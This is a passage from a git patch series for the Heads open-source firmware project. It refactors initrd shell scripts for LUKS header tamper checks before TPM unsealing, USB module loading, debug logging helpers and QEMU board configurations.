re-encrypting disk, a backed up header could be restored to access encrypted content with old passphrase) [y/N]: " read -n 1 prompt_output echo diff --git a/initrd/init b/initrd/init index 67a179b76..cea537b8d 100755 --- a/initrd/init +++ b/initrd/init @@ -12,7 +12,7 @@ export PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin # running out of the ram disk. There are no fileysstems mounted. # It is important to have a way to invoke a recovery shell in case # the boot scripts are messed up, but also important to modify the -# PCRs if this happens to prevent the TPM disk keys from being revealed. +# PCRs if this happens to prevent the TPM Disk Unlock Keys from being revealed. # First thing it is vital to mount the /dev and other system directories mkdir /proc /sys /dev /tmp /boot /media 2>&- 1>&- From fb5cbf41a13c900072e88e9c7a9f24842c8d5fde Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 8 Apr 2024 16:22:57 -0400 Subject: [PATCH 042/619] kexec-insert-key: refactor tampering check for encrypted disk keys prior of TPM unsealing ops move code from kexec-unseal-key to kexec-insert-key, address code review and apply verbiage suggestion changes Signed-off-by: Thierry Laurion --- initrd/bin/kexec-insert-key | 20 ++++++++++++++++---- initrd/bin/kexec-unseal-key | 8 -------- 2 files changed, 16 insertions(+), 12 deletions(-) diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index 9a48c2584..4d52f73a6 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -40,7 +40,22 @@ SECRET_CPIO=/tmp/secret/initrd.cpio bootdir=$(dirname "$INITRD") mkdir -p "$INITRD_DIR/etc" -# Attempt to unseal the Disk Unlok Key from the TPM +if [ -e /boot/kexec_lukshdr_hash.txt ] && [ -e /tmp/luksDump.txt ]; then + if ! cmp -s /boot/kexec_lukshdr_hash.txt /tmp/luksDump.txt >/dev/null 2>&1; then + #LUKS header hash part of detached signed hash digest under boot doesn't match qubes-measure-luks tmp file + warn "Encrypted disk keys have changed since the TPM Disk Unlock Key was sealed. If you did not make this change, the disk may be compromised" + exit 1 + else + #LUKS header hash part of detached signed hash digest matches + echo "+++ Encrypted disk keys have not been changed since sealed in TPM Disk Unlock Key" + #TODO: remove "+++" with boot info helper when added, same with "!!!" currently for info. + fi +else + warn "Could not check for tampering of Encrypted disk keys" + warn "Re-seal the TPM Disk Unlock Key by re-selecting your default boot option to enable this check (Options -> Boot Options -> Show OS boot menu)." +fi + +# Attempt to unseal the Disk Unlock Key from the TPM # should we give this some number of tries? unseal_failed="n" if ! kexec-unseal-key "$INITRD_DIR/secret.key"; then @@ -57,9 +72,6 @@ tpmr extend -ix 4 -ic generic || # Check to continue if [ "$unseal_failed" = "y" ]; then confirm_boot="n" - if cmp -s "$bootdir/kexec_lukshdr_hash.txt" /tmp/luksDump.txt > /dev/null 2>&1; then - echo "Encrypted disk keys(s) have not been changed since sealed in TPM Disk Unlock Key" - fi read \ -n 1 \ -p "Do you wish to boot and use the LUKS Disk Recovery Key? [Y/n] " \ diff --git a/initrd/bin/kexec-unseal-key b/initrd/bin/kexec-unseal-key index 77597b4ea..346eda9b8 100755 --- a/initrd/bin/kexec-unseal-key +++ b/initrd/bin/kexec-unseal-key @@ -39,14 +39,6 @@ for tries in 1 2 3; do fi warn "Unable to unseal LUKS Disk Unlock Key from TPM" - if [ -e /boot/kexec_lukshdr_hash.txt ] && [ -e /tmp/luksDump.txt ]; then - if ! cmp -s /boot/kexec_lukshdr_hash.txt /tmp/luksDump.txt > /dev/null 2>&1; then - warn "Encrypted disk keys(s) have changed since sealed in TPM Disk Unlock Key. You might want to investigate." - fi - else - warn "Could not check for tampering of Encrypted disk keys(s)" - warn "Re-seal the TPM Disk Unlock Key by re-selecting your default boot option to enable this check (Options -> Boot Options -> Show OS boot menu)." - fi done die "Retry count exceeded..." From 67f1dae840446b32d323248c614ac84ee90c880f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 12 Apr 2024 13:56:41 -0400 Subject: [PATCH 043/619] ash_functions: move sleep 2 after all usb modules being loaded Otherwise we get ehci-pci and xhci_hcd kernel messages in dmesg debug AFTER "Verifying presence of GPG card" which explains why dongle might not be found in time and fails in oem-factory-reset Fixes https://github.com/Nitrokey/heads/issues/48 Signed-off-by: Thierry Laurion --- initrd/etc/ash_functions | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index 8b52ab6a4..9ee01a70d 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -324,11 +324,11 @@ enable_usb() insmod /lib/modules/uhci-hcd.ko || die "uhci_hcd: module load failed" insmod /lib/modules/ohci-hcd.ko || die "ohci_hcd: module load failed" insmod /lib/modules/ohci-pci.ko || die "ohci_pci: module load failed" - sleep 2 fi insmod /lib/modules/ehci-pci.ko || die "ehci_pci: module load failed" insmod /lib/modules/xhci-hcd.ko || die "xhci_hcd: module load failed" insmod /lib/modules/xhci-pci.ko || die "xhci_pci: module load failed" + sleep 2 # For resiliency, test CONFIG_USB_KEYBOARD_REQUIRED explicitly rather # than having it imply CONFIG_USER_USB_KEYBOARD at build time. From ae5f9c5416dda4493c8196ff8eedd969b6b1d41c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 18 Apr 2024 12:21:27 -0400 Subject: [PATCH 044/619] Improve DEBUG and DO_WITH_DEBUG output handling to also keep output of kexec -l when BOARD is in DEBUG+TRACE mode (configuration settings menu + flash) Signed-off-by: Thierry Laurion --- initrd/bin/kexec-boot | 2 +- initrd/bin/kexec-insert-key | 3 ++- initrd/etc/ash_functions | 5 +++-- initrd/etc/functions | 30 ++++++++++++++++++++---------- 4 files changed, 26 insertions(+), 14 deletions(-) diff --git a/initrd/bin/kexec-boot b/initrd/bin/kexec-boot index bb39dbb05..6eede6ea6 100755 --- a/initrd/bin/kexec-boot +++ b/initrd/bin/kexec-boot @@ -151,7 +151,7 @@ if [ "$dryrun" = "y" ]; then exit 0; fi echo "Loading the new kernel:" echo "$kexeccmd" -eval "$kexeccmd" \ +DO_WITH_DEBUG "$kexeccmd" \ || die "Failed to load the new kernel" if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index f06c54833..29aa852cb 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -61,7 +61,8 @@ if [ "$unseal_failed" = "y" ]; then -n 1 \ -p "Do you wish to boot and use the LUKS Disk Recovery Key? [Y/n] " \ confirm_boot - + echo + if [ "$confirm_boot" != 'y' \ -a "$confirm_boot" != 'Y' \ -a -n "$confirm_boot" ] \ diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index 9ee01a70d..627f93d6a 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -23,8 +23,9 @@ warn() { } DEBUG() { - if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then - echo "DEBUG: $*" | while read line; do + if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then + # fold -s -w 960 will wrap lines at 960 characters on the last space before the limit + echo "DEBUG: $*" | fold -s -w 960 | while read line; do echo "$line" | tee -a /tmp/debug.log /dev/kmsg >/dev/null done fi diff --git a/initrd/etc/functions b/initrd/etc/functions index f5df01695..dc4163e95 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -19,18 +19,28 @@ mask_param() { # N=0 is the name of the command to be executed, N=1 is its first parameter, # etc. DO_WITH_DEBUG() { - if [ "$1" == "--mask-position" ]; then - mask_position="$2" + local exit_status + local cmd_output + DEBUG "PATH: $PATH" + local cmd=("$@") + if [[ "$1" == "--mask-position" ]]; then + local mask_position="$2" shift shift - DEBUG_ARGS=("$@") - - DEBUG_ARGS[$mask_position]="$(mask_param "${DEBUG_ARGS[$mask_position]}")" - DEBUG "${DEBUG_ARGS[@]}" - else - DEBUG "$@" + cmd=("$@") + cmd[$mask_position]="$(mask_param "${cmd[$mask_position]}")" + fi + if [[ ${#cmd[@]} -eq 1 ]]; then + # If there's only one argument, try to split it into multiple arguments + read -a cmd <<< "${cmd[0]}" fi - "$@" + DEBUG "Executing command with cmd: ${cmd[*]}" + # Sanitize the command output by removing special characters + cmd_output=$("${cmd[@]}" 2>&1 | sed 's/[&;|`$(){}<>]//g') + exit_status=$? + DEBUG "Command output: $cmd_output" + DEBUG "Command exited with status: $exit_status" + return $exit_status } # Trace the current script and function. @@ -682,7 +692,7 @@ scan_boot_options() { if [ -r $option_file ]; then rm $option_file; fi for i in $(find $bootdir -name "$config"); do - DO_WITH_DEBUG kexec-parse-boot "$bootdir" "$i" >>$option_file + kexec-parse-boot "$bootdir" "$i" >>$option_file done # FC29/30+ may use BLS format grub config files # https://fedoraproject.org/wiki/Changes/BootLoaderSpecByDefault From 015af7e6c7befe9835dfa542e73f05bb5ca538db Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 19 Apr 2024 09:45:39 -0400 Subject: [PATCH 045/619] functions: Add visibility to DO_WITH_DEBUG without affecting command DO_WITH_DEBUG traces command exit status (if failed), stdout/stderr (if not empty), and PATH (if command was not found). The caller still observes the exit status, and stdout/stderr still go to the caller as well. This way, DO_WITH_DEBUG can be inserted anywhere with minimal spam in the logs and without affecting the script. Signed-off-by: Jonathon Hall --- initrd/etc/functions | 107 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 89 insertions(+), 18 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index dc4163e95..6224a2b00 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -12,35 +12,106 @@ mask_param() { fi } -# Trace a command with DEBUG, then execute it. +# Pipe input to this to sink it to the debug log, with a name prefix. +# If the input is empty, no output is produced, so actual output is +# readily visible in logs. +# +# For example: +# ls /boot/vmlinux* | SINK_DEBUG "/boot kernels" +SINK_DEBUG() { + local name="$1" + local line haveblank + # If the input doesn't end with a line break, read won't give us the + # last (unterminated) line. Add a line break with echo to ensure we + # don't lose any input. Buffer up to one blank line so we can avoid + # emitting a final (or only) blank line. + (cat; echo) | while IFS= read -r line; do + [[ -n "$haveblank" ]] && DEBUG "$name: " # Emit buffered blank line + if [[ -z "$line" ]]; then + haveblank=y + else + haveblank= + DEBUG "$name: $line" + fi + done +} + +# Trace a command with DEBUG, then execute it. Trace failed exit status, stdout +# and stderr, etc. +# +# DO_WITH_DEBUG is designed so it can be dropped in to most command invocations +# without side effects - it adds visibility without actually affecting the +# execution of the script. Exit statuses, stdout, and stderr are traced, but +# they are still returned/written to the caller. +# # A password parameter can be masked by passing --mask-position N before the # command to execute, the debug trace will just indicate whether the password # was empty or nonempty (which is important when use of a password is optional). # N=0 is the name of the command to be executed, N=1 is its first parameter, # etc. +# +# DO_WITH_DEBUG() can be added in most places where a command is executed to +# add visibility in the debug log. For example: +# +# [DO_WITH_DEBUG] mount "$BLOCK" "$MOUNTPOINT" +# ^-- adding DO_WITH_DEBUG will show the block device, mountpoint, and whether +# the mount fails +# +# [DO_WITH_DEBUG --mask-position 7] tpmr seal "$KEY" "$IDX" "$pcrs" "$pcrf" "$size" "$PASSWORD" +# ^-- trace the resulting invocation, but mask the password in the log +# +# if ! [DO_WITH_DEBUG] umount "$MOUNTPOINT"; then [...] +# ^-- it can be used when the exit status is checked, like the condition of `if` +# +# hotp_token_info="$([DO_WITH_DEBUG] hotp_verification info)" +# ^-- output of hotp_verification info becomes visible in debug log while +# still being captured by script +# +# [DO_WITH_DEBUG] umount "$MOUNTPOINT" &>/dev/null || true +# ^-- if the command's stdout/stderr/failure are ignored, this still works the +# same way with DO_WITH_DEBUG DO_WITH_DEBUG() { - local exit_status + local exit_status=0 local cmd_output - DEBUG "PATH: $PATH" - local cmd=("$@") if [[ "$1" == "--mask-position" ]]; then local mask_position="$2" shift shift - cmd=("$@") - cmd[$mask_position]="$(mask_param "${cmd[$mask_position]}")" - fi - if [[ ${#cmd[@]} -eq 1 ]]; then - # If there's only one argument, try to split it into multiple arguments - read -a cmd <<< "${cmd[0]}" - fi - DEBUG "Executing command with cmd: ${cmd[*]}" - # Sanitize the command output by removing special characters - cmd_output=$("${cmd[@]}" 2>&1 | sed 's/[&;|`$(){}<>]//g') - exit_status=$? - DEBUG "Command output: $cmd_output" - DEBUG "Command exited with status: $exit_status" - return $exit_status + local show_args=("$@") + show_args[$mask_position]="$(mask_param "${show_args[$mask_position]}")" + DEBUG "${show_args[@]}" + else + DEBUG "$@" + fi + + # Execute the command and capture the exit status. Tee stdout/stderr to + # debug sinks, so they're visible but still can be used by the caller + # + # This is tricky when set -e / set -o pipefail may or may not be in + # effect. + # - Putting the command in an `if` ensures set -e won't terminate us, + # and also does not overwrite $? (like `|| true` would). + # - We capture PIPESTATUS[0] whether the command succeeds or fails, + # since we don't know whether the pipeline status will be that of the + # command or 'tee' (depends on set -o pipefail). + if ! "$@" 2> >(tee /dev/stderr | SINK_DEBUG "$1 err") | tee >(SINK_DEBUG "$1 out"); then + exit_status="${PIPESTATUS[0]}" + else + exit_status="${PIPESTATUS[0]}" + fi + if [[ "$exit_status" -ne 0 ]]; then + # Trace unsuccessful exit status, but only at DEBUG because this + # may be expected. Include the command name in case the command + # also invoked a DO_WITH_DEBUG (it could be a script). + DEBUG "$1: exited with status $exit_status" + fi + # If the command was (probably) not found, trace PATH in case it + # prevented the command from being found + if [[ "$exit_status" -eq 127 ]]; then + DEBUG "$1: PATH=$PATH" + fi + + return "$exit_status" } # Trace the current script and function. From d8810b7032d4803c9eda2af509032e569868721c Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 19 Apr 2024 13:31:29 -0400 Subject: [PATCH 046/619] functions: DO_WITH_DEBUG: Label stderr/stdout more clearly "$1 err:" looked like an error, but often there's output on stderr that's diagnostic (like kexec -d). "$1 stderr:" is clearer. Signed-off-by: Jonathon Hall --- initrd/etc/functions | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 6224a2b00..e817aea04 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -94,7 +94,7 @@ DO_WITH_DEBUG() { # - We capture PIPESTATUS[0] whether the command succeeds or fails, # since we don't know whether the pipeline status will be that of the # command or 'tee' (depends on set -o pipefail). - if ! "$@" 2> >(tee /dev/stderr | SINK_DEBUG "$1 err") | tee >(SINK_DEBUG "$1 out"); then + if ! "$@" 2> >(tee /dev/stderr | SINK_DEBUG "$1 stderr") | tee >(SINK_DEBUG "$1 stdout"); then exit_status="${PIPESTATUS[0]}" else exit_status="${PIPESTATUS[0]}" From d3656bbe65c4ac71a0d6ac205cedce071b768788 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 19 Apr 2024 13:35:17 -0400 Subject: [PATCH 047/619] kexec-boot, functions: Restore eval and DO_WITH_DEBUG that were deleted `eval "$kexeccmd"` should become `DO_WITH_DEBUG eval "$kexeccmd"` when adding DO_WITH_DEBUG, command invocation is still the same, still needs eval. Restore DO_WITH_DEBUG in front of kexec-parse-boot that had been removed. Signed-off-by: Jonathon Hall --- initrd/bin/kexec-boot | 2 +- initrd/etc/functions | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/initrd/bin/kexec-boot b/initrd/bin/kexec-boot index 6eede6ea6..ccc59a01b 100755 --- a/initrd/bin/kexec-boot +++ b/initrd/bin/kexec-boot @@ -151,7 +151,7 @@ if [ "$dryrun" = "y" ]; then exit 0; fi echo "Loading the new kernel:" echo "$kexeccmd" -DO_WITH_DEBUG "$kexeccmd" \ +DO_WITH_DEBUG eval "$kexeccmd" \ || die "Failed to load the new kernel" if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then diff --git a/initrd/etc/functions b/initrd/etc/functions index e817aea04..7ad0d794d 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -763,7 +763,7 @@ scan_boot_options() { if [ -r $option_file ]; then rm $option_file; fi for i in $(find $bootdir -name "$config"); do - kexec-parse-boot "$bootdir" "$i" >>$option_file + DO_WITH_DEBUG kexec-parse-boot "$bootdir" "$i" >>$option_file done # FC29/30+ may use BLS format grub config files # https://fedoraproject.org/wiki/Changes/BootLoaderSpecByDefault From a767347afd77771697cbccdbed7d32e567ac0d65 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 19 Apr 2024 14:14:54 -0400 Subject: [PATCH 048/619] kexec-boot: Only capture kexec -d output to log, not console/kmsg LOG() is added to log to the log only (not kmsg, more verbose than TRACE). DO_WITH_DEBUG only captures stdout/stderr to the log with LOG(). kexec-boot silences stderr from kexec, we don't want it on the console. No need to repeat the kexec command when asking in debug to continue boot, it's no longer hidden behind verbose output from kexec. Signed-off-by: Jonathon Hall --- initrd/bin/kexec-boot | 7 +++---- initrd/etc/ash_functions | 5 +++++ initrd/etc/functions | 8 ++++---- 3 files changed, 12 insertions(+), 8 deletions(-) diff --git a/initrd/bin/kexec-boot b/initrd/bin/kexec-boot index ccc59a01b..144788791 100755 --- a/initrd/bin/kexec-boot +++ b/initrd/bin/kexec-boot @@ -151,13 +151,12 @@ if [ "$dryrun" = "y" ]; then exit 0; fi echo "Loading the new kernel:" echo "$kexeccmd" -DO_WITH_DEBUG eval "$kexeccmd" \ +# DO_WITH_DEBUG captures the debug output from stderr to the log, we don't need +# it on the console as well +DO_WITH_DEBUG eval "$kexeccmd" 2>/dev/null \ || die "Failed to load the new kernel" if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then - #Repeat kexec command that will be executed since in debug - DEBUG "kexeccmd= $kexeccmd" - #Ask user if they want to continue booting without echoing back the input (-s) read -s -n 1 -p "[DEBUG] Continue booting? [Y/n]: " debug_boot_confirm echo diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index 627f93d6a..db591a55d 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -37,6 +37,11 @@ TRACE() { fi } +# Write directly to the debug log (but not kmsg), never appears on console +LOG() { + echo "LOG: $*" >>/tmp/debug.log +} + preserve_rom() { TRACE "Under /etc/ash_functions:preserve_rom" new_rom="$1" diff --git a/initrd/etc/functions b/initrd/etc/functions index 7ad0d794d..94f77d3e2 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -17,8 +17,8 @@ mask_param() { # readily visible in logs. # # For example: -# ls /boot/vmlinux* | SINK_DEBUG "/boot kernels" -SINK_DEBUG() { +# ls /boot/vmlinux* | SINK_LOG "/boot kernels" +SINK_LOG() { local name="$1" local line haveblank # If the input doesn't end with a line break, read won't give us the @@ -31,7 +31,7 @@ SINK_DEBUG() { haveblank=y else haveblank= - DEBUG "$name: $line" + LOG "$name: $line" fi done } @@ -94,7 +94,7 @@ DO_WITH_DEBUG() { # - We capture PIPESTATUS[0] whether the command succeeds or fails, # since we don't know whether the pipeline status will be that of the # command or 'tee' (depends on set -o pipefail). - if ! "$@" 2> >(tee /dev/stderr | SINK_DEBUG "$1 stderr") | tee >(SINK_DEBUG "$1 stdout"); then + if ! "$@" 2> >(tee /dev/stderr | SINK_LOG "$1 stderr") | tee >(SINK_LOG "$1 stdout"); then exit_status="${PIPESTATUS[0]}" else exit_status="${PIPESTATUS[0]}" From 00ce2f4d1c1b378c4125c4efd84b096929aebaca Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 19 Apr 2024 14:16:41 -0400 Subject: [PATCH 049/619] ash_functions: Log board and version when entering recovery shell Log the board and version when entering the recovery shell. Extract the firmware version logic from init. Currently this is the only way to get the debug log. If we add a way from the GUI, we may want to log the board and version somewhere else too. Signed-off-by: Jonathon Hall --- initrd/etc/ash_functions | 8 ++++++++ initrd/init | 4 +--- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index db591a55d..54b721085 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -42,6 +42,12 @@ LOG() { echo "LOG: $*" >>/tmp/debug.log } +fw_version() { + local FW_VER=$(dmesg | grep 'DMI' | grep -o 'BIOS.*' | cut -f2- -d ' ') + # chop off date, since will always be epoch w/timeless builds + echo "${FW_VER::-10}" +} + preserve_rom() { TRACE "Under /etc/ash_functions:preserve_rom" new_rom="$1" @@ -232,6 +238,8 @@ recovery() { touch /tmp/config . /tmp/config + DEBUG "Board $CONFIG_BOARD - version $(fw_version)" + if [ "$CONFIG_TPM" = "y" ]; then DEBUG "Extending TPM PCR 4 for recovery shell access" tpmr extend -ix 4 -ic recovery diff --git a/initrd/init b/initrd/init index 67a179b76..93bd5222f 100755 --- a/initrd/init +++ b/initrd/init @@ -203,9 +203,7 @@ if [ "$CONFIG_BASIC" = "y" ]; then fi # export firmware version -export FW_VER=$(dmesg | grep 'DMI' | grep -o 'BIOS.*' | cut -f2- -d ' ') -# chop off date, since will always be epoch w/timeless builds -FW_VER=${FW_VER::-10} +export FW_VER=$(fw_version) # Add our boot devices into the /etc/fstab, if they are defined # in the configuration file. From fc874728f6878994066ac1ed8d8635939f60dacf Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 19 Apr 2024 14:30:55 -0400 Subject: [PATCH 050/619] oem-factory-reset + seal-hotpkey: Give debug output to underatand in what state is the USB Security dongle Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 2 ++ initrd/bin/seal-hotpkey | 2 ++ 2 files changed, 4 insertions(+) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index ff0889f66..6b597fc08 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -496,7 +496,9 @@ gpg_key_factory_reset() { fi # If Nitrokey Storage is inserted, reset AES keys as well if lsusb | grep -q "20a0:4109" && [ -x /bin/hotp_verification ]; then + DEBUG "Nitrokey Storage detected, resetting AES keys..." /bin/hotp_verification regenerate ${ADMIN_PIN_DEF} + DEBUG "Restarting scdaemon to remove possible exclusive lock of dongle" killall -9 scdaemon fi # Toggle forced sig (good security practice, forcing PIN request for each signature request) diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 77940dcad..a0cb1ddad 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -26,6 +26,8 @@ fatal_error() { echo -e "\nERROR: ${1}; press Enter to continue." read + # get lsusb output for debugging + DEBUG "lsusb output: $(lsusb)" die "$1" } From 89a0c103aea946b56326b13c4ebacdd052e811fa Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 19 Apr 2024 15:13:38 -0400 Subject: [PATCH 051/619] QEMU/KVM board configs: logical reorganization of requirements for board configs. Next step is creating fbwhiptail/whiptail/tpm1/tpm2 mk files and include them in all boards Signed-off-by: Thierry Laurion --- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 74 ++++++++++++------ .../qemu-coreboot-fbwhiptail-tpm1.config | 70 +++++++++++------ .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 76 ++++++++++++------- .../qemu-coreboot-fbwhiptail-tpm2.config | 74 +++++++++++------- .../qemu-coreboot-whiptail-tpm1-hotp.config | 74 ++++++++++++------ .../qemu-coreboot-whiptail-tpm1.config | 72 ++++++++++++------ .../qemu-coreboot-whiptail-tpm2-hotp.config | 76 ++++++++++++------- .../qemu-coreboot-whiptail-tpm2.config | 72 +++++++++++------- 8 files changed, 374 insertions(+), 214 deletions(-) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index 1b5308f2a..61668b2c6 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -8,56 +8,83 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) #export CONFIG_RESTRICTED_BOOT=y #export CONFIG_BASIC=y +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + #Enable DEBUG output export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config -CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Modules packed into tools.cpio ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y -CONFIG_DROPBEAR=y +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR +CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support CONFIG_HOTPKEY=y -export CONFIG_AUTO_BOOT_TIMEOUT=5 - -#Uncomment only one of the following block -#Required for graphical gui-init (FBWhiptail) +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -# #text-based init (generic-init and gui-init) #CONFIG_NEWT=y #CONFIG_SLANG=y - +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y endif +#Runtime on-demand additional hardware support (modules.cpio) export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -#Uncomment only one BOOTSCRIPT: -#Whiptail-based init (text-based or FBWhiptail) + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init -# #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n @@ -65,9 +92,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" - -export CONFIG_TPM=y - export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 090272412..f02c73336 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -6,6 +6,9 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) #export CONFIG_RESTRICTED_BOOT=y #export CONFIG_BASIC=y @@ -16,48 +19,70 @@ export CONFIG_LINUX_VERSION=5.10.5 #Enable DEBUG output export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config -CONFIG_LINUX_CONFIG=config/linux-qemu.config +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y + + +#Modules packed into tools.cpio ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y 